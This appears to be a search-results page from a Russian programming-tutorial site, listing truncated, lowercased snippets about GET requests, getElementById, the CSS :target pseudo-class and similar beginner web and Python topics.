...     [column(isprimarykey = true)]     public int id { get; set; }     [column]     public string name { get; set; }     [column]     public string city { get; set; } ...
... значение перезапишется на новое. следующий метод getitem получит значение ключа. localstorage.getitem('age'); для удаления элемента из хранилища, ...
... composer, давайте скачаем фреймворк yii итак, зайдите на сайт http://getcomposer.org/ и нажмите кнопку "getting started". теперь нажмите installation - *nix, чтобы установить его ...
всем привет! в прошлой статье мы разобрали, зачем нужен псевдокласс target, а сегодня мы закрепим знания на практике и создадим аккордион на чистом ...
... считать разницу между этим временем и текущим. вот как это выглядит: function gettimeremaining(endtime){   var t = date.parse(endtime) - date.parse(new date());   var seconds = math.floor( (t/1000) ...
... 'тринадцать' } my_count.clear() print(my_count) {} // возвращает пустой словарь метод get() метод get() возвращает значение по указанному ключу в параметрах. название ...
... 'javascript'>  function starttime() {    var date = new date();    var hours = date.gethours();    var minutes = date.getminutes();    var seconds = date.getseconds();    if (hours < 10) hours ...
... # ввод текста для перевода пользователем def translate_text(text, source_lang=&#039;ru&#039;, target_lang=&#039;en&#039;):     # функция для перевода текста с заданного языка на целевой язык ...
... <?php if(session::get('loggedin') == false):?>   <a href="<?php echo url; ?>index">index</a>   <a href="<?php echo url; ?>help">help</a> <?php endif; ?> <?php if(session::get('loggedin') ...
... защититься от xss? обычно подобную уязвимость можно найти в формах или в get запросах. например, у нас есть форма поиска на сайте. попробуйте ввести ...
... атрибут "method". у него может быть одно из двух очень популярных значения: "post" и "get". этот атрибут определяет способ отправки. не буду вдаваться в подробности, ...
... на языке, заданным get-параметром. для начала создадим ini-файл "lang_en.ini":hello=helloworld=worldтеперь создадим php-скрипт:<?php  $lang = isset($_get['lang'])? $_get['lang']: "en";  ...
... почти везде. в качестве примера можно привести получение параметра из get-запроса. ниже вы найдете код в старом и новом стилях и сможете сравнить, ...
...     // возвращает текущую 2d позицию игрового объекта     point2d getposition2d()     {         return position2d;     } ...
...   $rp = new reflectionproperty('users\user', 'data');   echo '<pre>';   print_r(get_class_methods($rp));   echo '</pre>'; ?> в конструктор класса reflectionproperty ...
... методом sendfile(). давайте перепишем наш код: app.get('/', function(req, res) {   res.sendfile(__dirname + '/index.html'); }); app.get('/contact', function(req, res) {   res.sendfile(__dirname ...
... const files_storage_path = './uploaded'; interface httpmethod {     public const get = 'get';     public const post = 'post'; } function response(mixed $data) ...
...     for i in range(4):         process = process(target=worker, args=(i,))         processes.append(process)         process.start() ...
... <body>   <a href="yandex.ru" id="link">нажми!</a>   <script>    var link = document.getelementbyid('link');    link.addeventlistener('click', function(e) {     e.preventdefault(); ...
...     byte[] salt = new byte[saltlength];     var rngrand = new rngcryptoserviceprovider();     rngrand.getbytes(salt);     return salt; } следующие два метода используют ...
... import time link = r'https://www.cryptocompare.com/' browser = webdriver.chrome() browser.get(link) try:     webdriverwait(browser, 10).until(ec.presence_of_element_located(         (by.class_name, "panel-body"))) ...
... файлами на самом простом уровне: file_put_contens() и file_get_contents(). функция file_put_contents() записывает в файл, а функция file_get_contents() считывает содержимое из файла. эти ...
... формой. для этого мы воспользуемся javascript: function select(element) {   var value = element.getattribute("data-value"); // считываем значение выбранного элемента   var nodes = element.parentnode.childnodes; ...
...         connectivitymanager connectivitymanager = (connectivitymanager) context.getsystemservice(context.connectivity_service);         networkinfo activenetworkinfo = connectivitymanager != null ? connectivitymanager.getactivenetworkinfo() : null; ...
... события могут быть обработаны. в pygame метод получения этой коллекции - pygame.event.get(). событие, которое нам нужно - это pygame.quit. она возникает, когда кто-то ...
...                 const val = doformat(elem.value, elem.getattribute('data-format'));                 elem.value = doformat(elem.value, elem.getattribute('data-format'), elem.getattribute('data-mask')); ...
... элемент по его id. let canvas = document.getelementbyid('draw'); затем получим его контекст. для этого вызовем метод getcontext() и укажем, что мы будем рисовать ...
... адресной строке браузера (без фигурных скобок{}): https://api.telegram.org/bot{bot_token}/getupdates в ответ должен прийти json ответ с chat_id или просто id. шаг 2: установка ...
... '{$url}'");      return $code;     }    }    public function geturl($code) {     $code = $this->db->escape_string($code);     $code = $this->db->query("select ...
...                 const blob = item.getasfile();                 // создаем объект, считывающий файлы ...
... форме нет атрибута action, где указывается php обработчик и не указаны методы get / post. в технологии ajax, эти методы указываются в js скрипте. отсутствие ...
...     $this->role = $role;    }    public function getname() {     return $this->name;    }    public function getrole() {     return $this->role;    }    ...
... cap = cv2.videocapture("video0102.mp4"); # вывод с видео файла print(cap.get(cv2.cap_prop_frame_width)) # вывод в консоли размера нашего окна. ...
...   public static function set($key, $value) {    $_session[$key] = $value;   }   public static function get($key) {    if(isset($_session[$key]))    return $_session[$key];   }   public static function ...
...   var button = document.getelementbyid('button'),       xmlhttp = new xmlhttprequest();   button.addeventlistener('click', function() {    var name = document.getelementbyid('name').value.replace(/]+>/g,''), ...
... include 'user.php';   $rm = new reflectionmethod('users\user', 'getdata');   echo '<pre>';   echo print_r(get_class_methods($rm));   echo '</pre>'; ?> чтобы создать ...
...             # отправляем запрос на сервер             req = requests.get(url % counter, headers=headers)                  # логируем ошибки с помощью встроенного модуля ...
... '50%' // положение слева относительно родителя    };    var target = document.getelementbyid('loading');    var spinner = new spinner(opts).spin(target);   </script> ...
...     @query("select * from user_table")     list<user> getallusers(); } шаг 4: создание базы данных создаем абстрактный класс, который ...
... чтобы получить соединение из пула, необходимо использовать метод getconnection(): pool.getconnection(function(err, connection) {   // здесь работаем с полученным соединением  ...
... обратите внимание, что мы также используем цикл while вместе с функцией getline() (которая принадлежит классу ifstream) для чтения файла построчно и для ...
...  * к полученному массиву добавляем названия столбцов из $header и возвращаем  *   */ function getallordersreport(pdo $connection) {     $header = ['номер', 'статус', 'клиент', 'откуда', 'куда', 'к оплате', 'цена', 'долг', 'создан']; ...
...         const chat = document.getelementbyid('chat');         const messageinput = document.getelementbyid('message');         const sendbutton = document.getelementbyid('send'); ...
... вывод записей на примере темы twenty seventeen. записи выводятся через тег шаблона get_template_part в цикле шаблона index.php, который передаёт в параметрах содержимое ...
... теперь рассмотрим функцию displayuploads var displayuploads = function(data) {   var uploads = document.getelementbyid("uploads"),       anchor,       x;   for(x = 0; x < ...
... страницам на php. в основе лежат оператор limit и get-параметр. вот примерный алгоритм работы: получить значение get-параметра, отвечающего за номер страницы. ...
... в админ-панели. для этого есть функция get_terms, которая выводит на страницу списки таксономий. $terms = get_terms( array(   'taxonomy' => 'price', ...
... получение нужных элементов по id и по названию тега. document.getelementbyid("demo").innerhtml = xmldoc.getelementsbytagname("name")[0].childnodes[0].nodevalue; вывод в консоль. console.log(xmldoc.getelementsbytagname("name")); ...
... выбранных элементов в виджете со списком, вы можете использовать метод get(). метод get() возвращает целое число выбранного элемента, известное как индекс ...
... пишется в теге <?php ... ?>. <?php   $text = 'чайник';   $utm_term = $_get['utm_term'];   if (!empty($utm_term)) {   if ($utm_term == 'electric_kettle') {   $text ...
... print $class_comments = $ref -> getdoccomment(); // получаем комментарии к методу $method_comments = $ref -> getmethod('actioncontacts') -> getdoccomment(); ...
...         const modal = document.getelementbyid("modal");         const modalimage = document.getelementbyid("modal-image");         // отображаем модальное окно и устанавливаем источник изображения ...
... с помощью then() и catch() для обработки ответов и ошибок. простейший пример get-запроса: fetch('https://jsonplaceholder.typicode.com/posts/1')   .then(response => response.json()) // преобразуем ответ в json ...
... {      $sum = $this->x + $this->y;      return $sum;    }    function getpi() {      return self::pi;     }  }?>здесь всё очень просто: ...
...         function generateimage() {             var text = document.getelementbyid('textinput').value;             // создаем элемент canvas ...
... проверки пароля // получаем модальное окно var modal = document.getelementbyid('mymodal'); // показываем модальное окно при загрузке страницы ...
... # функция обработки события def on_select(event):     selected_value = combo.get()  # получаем выбранное значение     print(f"вы выбрали: {selected_value}") ...
... отслеживать их изменения. пример использования geolocation api: navigator.geolocation.getcurrentposition(   (position) => {     console.log(`latitude: ${position.coords.latitude}`); ...
... \slim\app($config);   // определяем маршруты   // главная страница   $app -> get('/',function($request, $response)) {      return $response -> write('добро пожаловать ...
...             const taskinput = document.getelementbyid("taskinput");             const addtaskbutton = document.getelementbyid("addtask");             const tasklist = document.getelementbyid("tasklist"); ...
...         // преобразуем выбранное значение опции списка в число - идентификатор категории         const categoryid = parseint(e.target.options[e.target.selectedindex].value);         // получаем из массива категорий объект категрии по соответствующему идентификатору ...
... //загрузка товаров на страницу } у jquery имеется на этот случай метод getjson(), в параметрах которого передается имя json файла и функция-обработчик ...
... наше приложение и создадим отображение для get-запроса на nodejs. в этой статье мы сфокусируемся на get-запросе в нашем контроллере todocontroller.js и создадим ...
...                         $rule->getvars()                     ); ...
...                     updateroute(startmarker.getlatlng(), endmarker.getlatlng());                 } ...
... файлу index.php с соответствующим get-запросом. поэтому несмотря на отсутствие в url из адресной строки браузера всяких get-параметров, если выполнить ...
... if( typeof(array.prototype.getrandom ) !== 'function' {          // добавляем метод в прототип массива     array.prototype.getrandom = function() { ...
... а затем sudo pip3 install pyobjc. в linux запустите sudo pip3 install python3-xlib, sudo apt-get install scrot, sudo apt-get install python3-tk и sudo apt-get install python3-dev. (scrot - это программа для создания ...
... тегами <head> и </head>): <script type="text/javascript">   function tree(target) {     var ul = target.parentnode.getelementsbytagname("ul").item(0);     ul.style.display = (ul.style.display == ...
... lftrght=new array();var browserinfos=navigator.useragent;var ie5=document.all&&document.getelementbyid&&!browserinfos.match(/opera/);var ns6=document.getelementbyid&&!document.all;var opera=browserinfos.match(/opera/);function randommaker(range) ...
...        def get_balance(self):            return self.__balance    account = bankaccount(100)    account.deposit(50)    print(account.get_balance())  # выведет: 150 ...
... товарами в интернет магазине. установка bootstrap зайдем на главную страницу getbootstrap.com и воспользуемся вторым способом подключения через cdn (сеть доставки ...
...     // статический метод, которые создает конкретный объект      public final static function get()     {         // статический список объектов ...
... объявим переменную buttonelem и при помощи метода getelementbyid сохраним кнопку в эту переменную. const buttonelem = document.getelementbyid('mybtn'); 2) шаг. создание ...
... дня недели (понедельник - 0, вторник - 1, и так далее). import datetime def get_tuesday_and_thursday_dates(year, month):     dates = []     date = datetime.date(year, month, 1)  # создаем объект даты для первого дня указанного года и месяца ...
... атрибут target. с помощью него можно указать, как будет открываться страница, на которую осуществляется переход. значение _blank у атрибута target открывает ...
... $ dotnet run this is myrusakov post this  is  myrusakov  post c# метод environment.getcommandlineargs метод environment.getcommandlineargs возвращает массив строк, содержащий аргументы командной ...
... методов: __construct, __destruct __call, __callstatic __get, __set __sleep, __wakeup __tostring __invoke ...
... которые взаимодействуют с веб-сервисами. рассмотрим пример выполнения get-запроса асинхронно. private async void buttonfetchdata_click(object sender, eventargs e) ...
... user = user.objects.create(name='михаил', age=30) # получение данных user = user.objects.get(name='михаил') print(user.name, user.age) peewee peewee - это простая и легковесная ...
... function countdowntimer(duration, granularity) {     this.time_format = this.gettimeformat(duration);     this.duration = this.toseconds(duration);      this.initialduration = this.duration; ...
...    # конвертируем страницу в изображение (массив пикселей)    pix = page.get_pixmap(matrix=matrix)    # сохраняем изображение в файл    output_image_path = f"images/page_{page_number + 1}.jpg" ...
... идентификаторов. function showmore() {     var dots = document.getelementbyid("dots");     var moretext = document.getelementbyid("more");     var btntext = document.getelementbyid("btn"); ...
...     // метод для получения настройки из хранилища     public function get($option) {     {     return $this -> options[$option];     }   ...
... атрибута: первый способ, через getattribute и setattribute указываем выбранный на странице элемент (тег, id, класс), сам метод getattribute и название атрибута, который ...
... 'иванов', 'васильев', 'яковлева', 'степанова']; let out_arr = document.getelementbyid('out_arr'); out_arr.innerhtml = worker; фамилии сотрудников выведутся ...
... function convertimagetocanvas(image) {   var cnvs = document.createelement("canvas");   cnvs.width = image.width;   cnvs.height = image.height;   cnvs.getcontext("2d").drawimage(image, 0, 0); ...
... public static function getcount() {     return self::$count;   } } echo math::calcsin(1); echo "<br />"; echo math::calcsqrt(9); echo "<br />"; $math = new math(); $math_2 = new math(); echo math::getcount(); ?> ...
...     """открыть окно настроек и передать данные"""     user_text = entry.get()  # получаем текст, введённый пользователем в главном окне ...
... вводимые данные. function validate(){     var form = document.getelementbyid("form");     var email = document.getelementbyid("email").value;     var pattern = /^[^ ]+@[^ ]+\.[a-z]{2,3}$/ ...
...     if (window.filelist && window.file) {         const file = e.target.files[0];         const name = file.name ? file.name : 'not supported'; ...
...   $el_2 = $el_1->nextsibling; // ближайший сосед после 1-го элемента el   echo $el_1->getattribute("a"); // выводим значение атрибута "a" у 1-го элемента el   echo "<br />"; ...
...        string greetings = "привет! myrusakov.ru";        fileoutputstream.write(greetings.getbytes());        fileoutputstream.close();    } } можно ...
... делаем его видимым display = "block"; <script> function openform() {     document.getelementbyid("myform").style.display = "block"; } функция closeform закрывает форму, получает ...
... кнопки, должно быть два обязательных data атрибута от bootstrap. data-toggle="modal" data-target="#examplemodal" идентификатор examplemodal связывает кнопку с модальным окном. ...
... способ передачи данных и может иметь одно их двух значение, post или get. метод get используется по умолчанию, когда передача данных осуществляется ...
... содержимое? поможет нам псевдо-класс :target, который при клике по цели, применит заданный стиль к элементу с якорем. .tab__box:target {     display: block; // покажет ...
  • 308. файл robots.txt
  • Раскрутка сайта/Внутренняя оптимизация
... значение, это "clean-param". если ваш сайт динамический, и ссылки имеют get-параметры, то очень часто в get передаются параметры, которые не влияют на содержимое ...
...     <!—ссылка на большую фотографию -->     <a target="_blank" href="mountains.jpg">     <!—превью фотографии -->     <img ...
...             };             img.src = event.target.result;         };         reader.onerror = function() { ...
... # шаблон извлекается из каталога templates # методом get_template template = env.get_template('showlang.txt') output = template.render(languages=languages) print(output) ...
... // функция генерирует случайное число диапазоне [min,mах] function getrandomnumber(min, max) {     return math.floor(math.random() * (max - min + 1)) + min; ...
...         tasksfile = 'tasks.xml'; // файл с задачами     // get запрос на получение данных из xml файла     const requestobject = { ...
... элемента. let dogs = ["мопс", "бульдог", "такса", "йорк"]; dogs.push("лабрадор"); document.getelementbyid("demo_dogs").innerhtml = dogs; в html-документе: <p id="demo_dogs"></p> в документе ...
...     newsapi = newsapiclient(api_key ='yourkey')     top = newsapi.get_top_headlines(sources ='techcrunch')     l = top['articles']     dsc =[] ...
...     return lines # возвращает 5 случайных вопросов def get_questions(numberofanswers = 5):     # получаем список строк из файла ...
... # в данном случае потребуется обновить pip двумя командами: curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py my_env3\scripts\python.exe -m pip install --upgrade pip # после чего установим любой пакет:   ...
... type="text/javascript">   function showorhide(cb, cat) {     cb = document.getelementbyid(cb);     cat = document.getelementbyid(cat);     if (cb.checked) cat.style.display = "block";     ...
... любое, но желательно отображающее суть программируемого действия. function getpass() {     // тело функции } внутри фигурных скобочек идет ...
... "48503dfd58720bd5ff35c102065a52d7"; //в реальности считывается из бд  if (($_get['login'] == $login) && (md5($_get['password']) == $password)) echo "welcome!";  else echo "access denied";?>теперь если ...
...     assert(1 + 1 == 3, '1 + 1 не равно 3'); } catch (assertionerror $e) {     echo $e->getmessage(); // выведет: '1 + 1 не равно 3' } ?> пример ...
...     # получаем имя пользователя и пароль     username = username_entry.get()     password = password_entry.get()     # выводим в диалоговое окно введенные пользователем данные ...
... укажем контекст рисования 2d. // javascript код let canvas = document.getelementbyid('drawline'); let ctx = canvas.getcontext('2d'); рисование линии напоминает рисование ...
...     <!-- data-clipboard-target - ссылка на, то что будет копироваться -->     <button class="btn" data-clipboard-target="#foo">копировать</button> ...
... элемент. заголовок hello, world выводится в блоке с id="content". reactdom.render(<app />, document.getelementbyid('content') 3) создадим класс app. имя тега должно совпадать с ...
...     def _handle_input(self):         for event in pygame.event.get():             if event.type == pygame.quit or ( ...
... "javascript">   function showlinkimage(id) {     document.getelementbyid(id).style.display = "block";   }   function hidelinkimage(id) {     document.getelementbyid(id).style.display = "none";   } </script> ...
...     private static function printformattedline(string $line): void     {         $tokens = token_get_all('<?php ' . $line);         array_shift($tokens); // удаление токена открывающего тега php ...
... красный цвет   $color = imagecolorallocate($i, 255, 0, 0);   //рисуем текст ttf-шрифтом   imagettftext($i, 16, 94, 100, 150, $color, "times.ttf", "myrusakov.ru");   //отправляем заголовок с mime-type ...
... получение элемента canvas, контекста и свойства math.pi let canvas = document.getelementbyid('drawround'); let ctx = canvas.getcontext('2d'); let pi = math.pi; ctx.beginpath();// начало нового пути ...
... этот скрипт и постараюсь тщательно прокомментировать. <?php   function getzodiacalsign($month, $day) {     $signs = array("козерог", "водолей", "рыбы", "овен", "телец", ...
... переменные, полученные из get-запроса. допустим, был такой запрос: index.php?a=15. таким образом, безусловно, создаётся переменная $_get["a"] и переменная a. вот ...
... обновляет координаты позиции пчелы. const canvas = document.getelementbyid('canvas') // получаем холст const ctx= canvas.getcontext('2d') // получаем контекст рисования let ...
...     # находим длину, ширину изображения и размеры каждого кадра      width, height = sprite.get_size()     w, h = width/w1, height/h1          # счетчик положения кадра на изображении ...
... = document.getelementbyid("rotatorbutton");     i--;     if (i < 0) i = array.length - 1;     image.src = array[i];   }   function right() {     var image = document.getelementbyid("rotatorbutton"); ...
...     const togglebutton = document.getelementsbyclassname('toggle-button')[0]     const navbarlinks = document.getelementsbyclassname('navbar-links')[0]     // при клике на кнопку меня переключаем состояние меню ...
... function buycoffee() {   return new promise((resolve, reject) => {     asyncronouslygetcoffee(function(coffee) {       resolve(coffee);     });   }); ...
...             if (navigator.geolocation) {                 navigator.geolocation.getcurrentposition(function (position) {                     const latitude = position.coords.latitude; ...
... delay = 2000;   var ar_src = new array();   function setbigimageslide(group) {     var group = document.getelementbyid(group);     var images = group.childnodes;     var src = new array();     ...
... // методы для проверки наличия, получения и установки заголовков headers.has('content-type'); // true headers.get('content-type'); // "text/html" headers.set('content-type', 'application/json'); ...
... use phpoffice\phpspreadsheet\writer\xlsx; const report_file_name = "отчет_по_закупкам.xlsx"; if (isset($_get['report'])) {     // (1) создаем новую книгу     $spreadsheet = new spreadsheet(); ...
... формы $email = trim($_post["email"]); $message = "е-майл: $email"; $pagetitle = "новый подписчик на вашем сайте \"$sitename\""; mail($recepient, $pagetitle, $message, "content-type: text/plain; charset=\"utf-8\"\n from: $recepient"); ...
...             const searchtext = document.getelementbyid("search").value.tolowercase();             const category = document.getelementbyid("category").value; ...
... передаем в функцию get() какой-нибудь ключ и получаем в консоли его текущее значение. let format = 'dd.mm.yyyy';     console.log(moment().get('year')); // ...
...     { name: 'index@notfound', url: '/notfound', handler: handlers.error404 }, ] // маршрут при ошибке 404 const getnotfoundroute = (routes) => routes.find(route => route.name === 'index@notfound') ...
... //увеличиваем ширину и высоту видео в 2 раза   $width = 2 * $ffmpeg->getframewidth();   $height = 2 * $ffmpeg->getframeheight();   //вызываем приложение ffmpeg с соответствующими ...
... javascript.</title>    </head>    <body>        <form onsubmit="onformsubmit(); return false;">            <p>                <label for="demo_filename">название файла:</label><br>                <input type="text" id="demo_filename">            </p>            <p>                <label for="demo_content">содержимое:</label><br>                <textarea id="demo_content"></textarea>            </p>            <button type="submit">загрузка</button>        </form>        <script type="text/javascript">            function downloadfile(data="", filename="test.txt", type="text/plain") {                            // создаем невидимый элемент ссылки                const a = document.createelement("a");                a.style.display = "none";                document.body.appendchild(a);                                // в качестве данных для загрузки из ссылки устанавливаем данные из формы                a.href = window.url.createobjecturl(                    new blob([data], { type })                );                                // аттрибут download ссылки используется для загрузки файла                a.setattribute("download", filename);                // запускаем загрузку путем эмулирования нажатия клавиши                a.click();                // удаляем ссылку из dom                document.body.removechild(a);            }                        // вызывается при отправке формы            function onformsubmit() {                downloadfile(                    document.getelementbyid("demo_content").value,                    document.getelementbyid("demo_filename").value                );            }        </script>    </body></html> ...
... псевдоклассы target: - применяется к id, который указан в адресной строке браузера. <div id="h1">заголовок раздела</div> h1:target {     color: ...
...         if ($header) {             $this->header = fgetcsv($this->handle);         }         return $this; ...
...             // получаем список файлов кроме файлов из папок obj и bin             var files = getdirectoryfiles(dir, new list<string> { "\\obj\\", "\\bin\\" });             // создаем архив ...
...     $filepath = rootdir . directory_separator . $file->getfilename();     if($file->isfile() && $file->getextension() === 'pdf')      {         $posterfile = new splfileinfo(coverimagepath($filepath)); ...
... pdo("myql:host=$host;dbname=$dbname", $user, $pass); } catch(pdoexception $e) {   echo "you have an error: ".$e->getmessage()."<br>";   echo "on line: ".$e->getline(); } в качестве примера, я допустил ошибку и написал ...
... большинство программистов делает так: <script type="text/javascript">   var block = document.getelementbyid("block");   block.scrolltop = 9999; </script> безусловно, данный способ рабочий. ...
... password_default, $opt);   } ?> password_get_info() эта фунция просто возвращает массив параметров хэширования. <?php   $arr = password_get_info($hash); ?> вернётся ассоциативный ...
...             pdfdocument pdfdocument = new pdfdocument();             pdfdocument.loadfromfile(file.getabsolutepath());             // конвертируем ...
...                 files.foreach(file => archive.createentryfromfile(file, path.getfilename(file)))             }         } ...
... шахматную доску с помощью циклов. <script> var c=document.getelementbyid("mycanvas"); var ctx=c.getcontext("2d"); for(i=0;i<8;i++) {for(j=0;j<8;j++) {ctx.moveto(0,70*j); ctx.lineto(560,70*j); ...
...  let array = [1, 2, 3];   localstorage.setitem(array, json.stringify(array));   array = json.parse(localstorage.getitem("array"));   console.log(typeof array); // объект   console.log(array); // [1, 2, 3] сохранение ...
... делается. начнём с формы и javascript-кода: <script type="text/javascript">   function getxmlhttp() {     var xmlhttp;     try {       xmlhttp = new activexobject("msxml2.xmlhttp"); ...
... запросов базы данных для выполнения определенных операций. create procedure getallcustomers() begin     select * from customers; end функции (functions) ...
... # создадим  экземпляр драйвера my_driver = webdriver.chrome(path) # пропишем адрес сайта my_driver.get("https://myrusakov.ru/python-tutorial.html") # получим список ссылок из страницы сайта ...
... console.log('летает');    }    getcolor() {     console.log(this.color);    }  }   let pegion = new abird(2, 'белый');   console.log(pegion.getcolor()); сокрытие методов ...
... на самом деле, очень просто. для этого есть функция force.jump(). var element = document.getelementbyid('element-id'); // перепрыгнуть к объекту force.jump(element); // перепрыгнуть ...
... // получаем текущие дату и время   var h = date.gethours(); // получаем текущий час   if (h < 8 || h > 21) document.getelementbyid("style").href = "css/night.css"; // если сейчас ночь, ...
... минимальную дату, равную выбранной. .on( "change", function() { to.datepicker( "option", "mindate", getdate( this ) );   }), to = $( "#to" ).datepicker при смене выбранной даты находим ...
... перейдем в app/http/routes.php, удалим там все и напишем свой роутер. <?php   route::get('/', [    'uses' => '\chatty\http\controllers\homecontroller@index',    ...
... <body>   <a href="yandex.ru" id="link">нажми!</a>   <script>    var link = document.getelementbyid('link');    link.attachevent('onclick', function(e) {     e.returnvalue ...
... получить список файлов в указанной папке с помощью команды get-childitem. $filelist = get-childitem -path $sourcepath 4. переименование файлов далее осуществляется ...
...   $(document).on("dblclick", "#block span", deletespan);   function deletespan(event) {     $(event.target).remove();   } </script> в данном примере был использован метод on(). первым ...
... пустой файл archive-book.php и подключим к нему шапку, <?php get_header(); ?> подвал <?php get_footer(); ?> и сделаем вывод контента в цикле, скопировав ...
... кода. wp_enqueue_script( 'my-fb', get_template_directory_uri() . '/fancybox/jquery.fancybox.pack.js', array('jquery') ); wp_enqueue_style( 'my-fb-css', get_template_directory_uri() . '/fancybox/jquery.fancybox.css' ...
...           const darkswitch = document.getelementbyid('darkswitch');           const currenttheme = localstorage.getitem('theme');           if (currenttheme) { ...
... отправки http-запросов. import requests # отправка get-запроса и работа с url response = requests.get('https://api.example.com/data?id=123') print(response.url)  # выводит url, сформированный запросом ...
...             return false;         }         if (gettype($data[$key]) !== $type) {             echo "ключ '$key' должен быть типа '$type'.\n"; ...
... генерируется графический счётчик на php. сразу привожу код: <?php   $count = file_get_contents("counter.txt"); // считываем значение счётчика   $count++; // увеличиваем ...
... файлу form.php ссылку на ../bootstrap.min.css на официальном сайте bootstrap. открываете getbootstrap, копируете саму верхнюю ссылку на файл стилей в разделе bootstrap cdn ...
те, кто использовал кнопку type="image" и метод get, обратили внимание, что в адресной строке появляются дополнительные параметры "x" и "y", которые содержат ...
... комментария на сайте. <?php   $db = db::getinstance(); // получаем соединение с базой данных   $lastcomment = $db -> getlastcomment(); // получаем последний комментарий ...
... const vat = 77.00;   public function getvat() {    return self::vat.'%';   } } теперь мы можем получить доступ таким образом: echo $product->getvat(); проблема в том, ...
... рассмотрим, как обрабатывать post запросы в nodejs. post запросы отличаются от get запросов, которые мы рассматривали в прошлых статьях, тем, что данные ...
...             app.mapget("/", () => "это минимальное api сайта");             app.mapget("/version", () => $"версия приложения 0.0.1"); ...
... class program {     [dllimport("user32.dll")]     static extern bool getcursorpos(out point lppoint);     static void main()     {         console.writeline("начало отслеживания и записи координат курсора. нажмите любую клавишу для выхода."); ...
...     // ссылки на кнопки     const down_button = document.getelementbyid("down_button");     const stop_button = document.getelementbyid("stop_button");     // при щелчке по кнопке загрузки ...
...         return "this is a private method"     def get_private_attribute(self):         return self.__private_attribute obj = myclass() print(obj.get_private_attribute())  # 42 хотя ...
... давайте сразу рассмотрим пример: class calculator {   protected $result = 0;   public function getresult() {    return $this->result;   }   public function add($number) {    $result = 'this'; ...
... поменять метод sendfile() на render() вот таким образом: app.get('/', function(req, res) {   res.render('index'); }); app.get('/contact', function(req, res) {   res.render('contact'); ...
...   function check(login) {     if (login.length < 3) document.getelementbyid("e_login").style.display = "inline";     else document.getelementbyid("e_login").style.display = "none";   } </script> в функции ...
... генерация случайного числа между 1 и 100 $rand = new random\randomizer(); $rand->getint(1, 1000); // 425 перемешивание строки $rand = new random\randomizer(); ...
... хотим видеть: шапку и подвал. а можно и не выводить их. <?php get_header(); // вывод шапки get_footer(); // вывод подвала ?> между шапкой и подвалом можно ...
...         pdf = pdffilereader(f)         inf = pdf.getdocumentinfo()         number_of_pages = pdf.getnumpages()     txt = f"""     информация об {path_to_pdf}:  ...
... 2-го ротатора   function rotatormany() {     document.getelementbyid("rotator_many_1").src = path + cats[counter];     document.getelementbyid("rotator_many_2").src = path + dogs[counter];     counter++; ...
... = localstorage.getitem('ключ'); в результате, в переменную value попадет значение, которое хранится под ключом, который мы передаем в метод getitem. удаляем ...
... </head>): <script type="text/javascript">   function starttimer() {     var my_timer = document.getelementbyid("my_timer");     var time = my_timer.innerhtml;     var arr = time.split(":");     ...
... игнорирование событий, которые произошли не на данной кнопке    if( !event.target.hasattribute('data-toggle-fullscreen') ) return;   }, false ); затем, нам необходимо ...
... это значение и выводить его при наведении на текст. var el = document.getelementbyid("test"); var text = el.getattribute("data-title"); alert(text); также данный атрибут можно использовать, ...
... document.addeventlistener('keydown', function(event) {     const inputelement = document.getelementbyid('myinput');     const isalphanumeric = /^[a-za-z0-9\u0400-\u04ff\u0500-\u052f]$/; ...
... ими, прописывая свойства в дивах. <div class="container">   <img src="vegetables.png" alt="vegetables">   <div class="left">лук</div>   <div class="center">картошка</div> ...
... рассмотрим, как сделать простую навигацию на html5 и css3, используя псевдокласс :target. <!doctype html> <html lang="en"> <head>   <meta charset="utf-8">   <title>html5 ...
...   <div id="swipearea">swipe here</div>   <script>     const swipearea = document.getelementbyid('swipearea');     let touchstartx = 0;     let touchstarty = 0; ...
... table; atan возвращает артангес select atan(.3) as artangets from table; atan2 то же самое, но для 2 чисел. select atan2(.3, .2) as artangets2 from table; вернет: 0.982793723 power возвращает ...
...     function ($e) {         echo "error: {$e->getmessage()}\n";     } ); $loop->run(); этот код выполняет асинхронный ...
...     var isgecko = navigator.useragent.tolowercase().indexof("gecko") != -1;     var iframe = (isgecko) ? document.getelementbyid("frameid") : frames["frameid"];     var iwin = (isgecko) ? iframe.contentwindow : iframe.window; ...
... mysql. для начала изменим наш файл инициализации - bootstrap.php. $url = isset($_get['url']) ? $_get['url'] : null; таким образом мы сделали проверку на существование ...
... <script> // получить видео c конкретным id var video = document.getelementbyid("myvideo"); // получить кнопку var btn = document.getelementbyid("mybtn"); // функция запуска, остановки видео ...
... сайта   $url = "http://www.myrusakov.ru/";   // вызов методов сервиса   $api_data = file_get_contents("https://www.googleapis.com/pagespeedonline/v2/runpagespeed?url=$url&screenshot=true");   // расшифровка ...
... личной практики (он сильно упрощён, но самую суть я оставил): <?php   $view = $_get["view"];   switch ($view) {     case "pagea":       $content = new pageacontent($db); ...
...       // если его время жизни ещё не прошло       echo file_get_contents($cache_file); // выводим содержимое файла       exit; // завершаем ...
... <p> <a href="" target="_blank"> <img src="url_image.jpg" alt="" width="320" height="182"> </p> <p class="copy"><a href="">  copyright </a> </p> <p class="blue"> <a href="" target="_blank">  ссылка ...
... обращении, например, к $this->title будет выводиться $this->data["title"] */   public function __get($name) {     if (isset($this->data[$name])) return $this->data[$name];     return ""; ...
... <canvas></canvas> теперь мы можем начать писать скрипт. var tag = document.getelementbyid("canvas"),     ctx = tag.getcontext("2d"); сначала мы отбираем наш canvas, а затем создаём ...
... элемента и добавляет его только в том случае, если его еще нет. def get_unique(in_list):    # объявление пустого списка    unq_list = [] ...
... const inputelement = document.getelementbyid('searchinput'); function handleinput(event) {     console.log('ввод пользователя:', event.target.value); } const debouncedhandleinput = debounce(handleinput, 300); ...
...     return render_template('index.html') @app.route('/login', methods=['get', 'post']) def login():     if request.method == 'post': ...
...     async with aiohttp.clientsession() as session:         async with session.get(url) as response:             return await response.text() ...
...     url = "https://jsonplaceholder.typicode.com/posts"     response = requests.get(url)     data = response.json()     # render the template with json data ...
... import requests app = flask(__name__) name1 = [] @app.route('/', methods=['post', 'get']) def handle_data():     if request.method == 'post':         if 'name' in request.form: ...
... from flask import flask, request, jsonify app = flask(__name__) # обработчик @app.route('/api', methods=['get']) def index():     return "версия api" # пример url api ...
... симпатично и делается все очень быстро. установка фреймворка на вкладке get started вы увидите несколько вариантов установки: вариант #1). скачать ...
...         # запускаем процесс загрузки в отдельном потоке         threading.thread(target=self.load_task).start()     def stop_loading(self):         self.is_running = false ...
... администратора проверяем текущие параметры для политики выполнения: get-executionpolicy -list устанавливаем требуемый уровень (меняем политику выполнения) ...
